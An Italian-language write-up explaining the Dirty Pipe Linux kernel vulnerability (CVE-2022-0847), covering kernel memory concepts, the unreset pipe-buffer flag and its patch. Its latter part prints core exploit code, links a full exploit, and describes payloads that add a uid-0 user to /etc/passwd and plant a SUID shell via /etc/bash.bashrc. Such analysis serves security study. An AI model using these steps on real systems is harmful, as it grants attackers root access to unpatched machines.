
Sfruttamento di CVE-2022-0847 - scritto da : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) è una delle vulnerabilità di sicurezza più significative nel kernel Linux 5.8 – 5.15.24, scoperta da Max Kellermann nel 2022. Questa vulnerabilità consente agli utenti ordinari (senza privilegi speciali) di sovrascrivere dati in file che dovrebbero essere di sola lettura. Comprendere i Concetti Fondamentali
Prima di discutere Dirty Pipe in dettaglio, ecco alcuni concetti interni del kernel Linux che devono essere compresi:
1. Paging
Il paging è un meccanismo di gestione della memoria nel kernel Linux in cui il sistema di memoria divide la memoria fisica in piccoli blocchi di dimensione fissa chiamati page frame, e la memoria virtuale è divisa in blocchi della stessa dimensione chiamati pagine.
Questo meccanismo consente al kernel di mappare lo spazio degli indirizzi virtuali dei processi alla memoria fisica in modo non sequenziale, il che è cruciale per l'efficienza e la sicurezza nei sistemi moderni.
2. Page (Memoria Virtuale)
In Linux, una pagina è la più piccola unità di gestione della memoria fisica gestita dal kernel.
Analogia: la RAM è come un libro gigante. Una pagina è un singolo foglio di quel libro. Il kernel non sposta i dati bit per bit, ma foglio per foglio (pagina per pagina).
In generale, sulle architetture di sistema moderne (come x86_64), la dimensione standard di una pagina è 4 KB (4096 byte).
3. Page Cache
Questa è una parte cruciale. Linux non legge i file direttamente dal disco ogni volta perché è lento. Il kernel copia il contenuto dei file nella RAM chiamata Page Cache.
4. Pipe Buffer
La pipe è un meccanismo di comunicazione inter-processo (IPC). Internamente, il kernel gestisce le pipe tramite la struttura dati pipe_inode_info. I dati all'interno di una pipe sono memorizzati in un "buffer" chiamato Pipe Buffer.
5. Flag del Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
Il flag PIPE_BUF_FLAG_CAN_MERGE è stato introdotto nella versione 5.8 del kernel Linux.
È qui che risiede la vulnerabilità principale. Il flag chiamato PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() è una syscall per spostare dati tra due file descriptor senza copiare i dati tra lo spazio del kernel e lo spazio utente. Questo è spesso definito meccanismo Zero-copy.
La syscall splice() è il "protagonista principale" di Dirty Pipe:
7. Copy on Write (CoW)
Il meccanismo Copy-on-Write (CoW) è una strategia di ottimizzazione della gestione della memoria utilizzata dal kernel Linux per ritardare la copia dei dati finché non è assolutamente necessario.
La relazione tra Copy-on-Write (CoW) e l'exploit Dirty Pipe (CVE-2022-0847) riguarda il modo in cui un piccolo bug nel kernel Linux "inganna" con successo il meccanismo CoW, consentendo la scrittura di dati in file che dovrebbero essere di sola lettura.
8. Dirty Page
Una dirty page è una pagina di memoria nella RAM che è stata modificata da un'applicazione, ma le modifiche non sono ancora state riscritte nella memoria secondaria (come SSD o disco rigido).
Analisi della Vulnerabilità Dirty Pipe
Dirty Pipe è un tipo di bug logico nella gestione del pipe buffer nel kernel Linux dalla versione 5.8 fino alla versione 5.15.24. Il problema principale risiede nel meccanismo Pipe (canale di comunicazione inter-processo) e nel modo in cui il kernel gestisce la Page Cache (memoria che conserva copie dei dati dei file dal disco). Il problema centrale è un bug nel flag PIPE_BUF_FLAG_CAN_MERGE.
Il problema principale risiede nella mancata re-inizializzazione corretta di questo flag da parte del kernel (bug logico). Ecco l'analisi del codice: Nelle funzioni copy_page_to_iter_pipe e push_to_pipe del kernel Linux precedente alla versione 5.16.11, quando si eseguono operazioni di splice, il kernel prepara la struttura pipe_buffer ma dimentica di pulire il membro .flags.
Struttura del Codice Vulnerabile:
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- THIS FLAG IS NOT RESET
unsigned long private;
};
Codice Prima della Patch (Vulnerabile):
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------
}
Codice Dopo la Patch (Corretto):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- TOTAL RESET TO ZERO
Perché buf->flags = 0 è meglio che disattivare semplicemente un flag specifico? Perché pipe_buffer è una struttura riutilizzata. Se disattiviamo solo un flag (CAN_MERGE), altri flag "spazzatura" derivanti dall'uso precedente della pipe (come PIPE_BUF_FLAG_GIFT o altri flag personalizzati) potrebbero rimanere e causare comportamenti strani o nuove falle di sicurezza in futuro. Impostarlo a 0 garantisce che il buffer sia in uno stato completamente "pulito".
Perché Può Essere Sfruttata?
Ecco il flusso di sfruttamento di Dirty Pipe:
1. Fase di Inquinamento (Pollution): l'attaccante inserisce dati nella pipe tramite write(). Una normale operazione write() imposterà buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Fase di Svuotamento (Drain): l'attaccante legge quei dati. Il buffer ora è logicamente "vuoto", ma la sua struttura esiste ancora nella memoria del kernel con il flag CAN_MERGE ancora attivo.
3. Fase di Splice: quando la syscall splice() mappa un file di sola lettura su una pipe, viene chiamata la funzione copy_page_to_iter_pipe(). A causa del bug sopra descritto, essa riempie buf->page con la pagina di memoria del file originale ma non resetta buf->flags.
4. Esecuzione: il kernel pensa che questo buffer di file possa ancora essere unito. La scrittura successiva nella pipe non creerà un nuovo buffer, ma modificherà direttamente la pagina di memoria (Page Cache) che era stata mappata in precedenza.
In questa fase, i dati dell'attaccante sono già memorizzati nella RAM. Una pagina nella RAM il cui contenuto differisce da ciò che è sul disco è chiamata "Dirty Page". Se questa fase viene raggiunta con successo, significa che lo sfruttamento è riuscito! Una volta modificata la Page Cache, l'effetto è immediato. Se sovrascriviamo /etc/passwd nella RAM, possiamo eseguire immediatamente su root in quel preciso momento.
Sfruttamento della Dirty Pipe
Per lo sfruttamento della Dirty Pipe, non abbiamo bisogno di disattivare alcuna protezione del kernel perché tutte le protezioni del kernel sono irrilevanti per prevenire questo bug logico. Per sfruttare il bug logico della Dirty Page, il nostro exploit eseguirà i seguenti passaggi:
Passaggio 1. Preparare la pipe e riempirla fino al massimo con l'obiettivo di attivare il flag PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Passaggio 2. Svuotare la pipe.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Codice di Exploit Completo per lo Sfruttamento della Dirty Pipe Il codice di exploit completo è disponibile su https://github.com/bluedragonsecurity/dirtypipe2
Nota: il codice di exploit completo contiene funzioni per la validazione della versione del kernel, la preparazione della pipe, l'iniezione del payload e due diversi metodi di sfruttamento che mirano a /etc/passwd e /etc/bash.bashrc.
Metodi di Sfruttamento
L'exploit sopra utilizza 2 payload diversi con l'obiettivo che se il primo payload fallisce, verrà concatenato dal secondo payload.
Payload 1: scrive in /etc/passwd per aggiungere un nuovo utente chiamato 'toor' con uid 0. Se questo payload riesce, possiamo ottenere immediatamente una shell root.
Payload 2: mira a rilasciare una shell bash SUID in /tmp/x. In particolare per il secondo payload, è necessario attendere che l'utente root del sistema esegua il login perché il payload per rilasciare la shell SUID viene iniettato in /etc/bash.bashrc. In Linux, i comandi contenuti in /etc/bash.bashrc vengono eseguiti da ogni utente che accede al sistema al momento del login.
Test dell'Exploit
In questo esempio, ho usato il kernel Linux 5.13 in esecuzione su Lubuntu 20.04.5 in VirtualBox come sistema operativo guest e il sistema operativo host è Kali Linux 2025.4. Sulla macchina Lubuntu 20.04.5, compilare l'exploit:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Riferimenti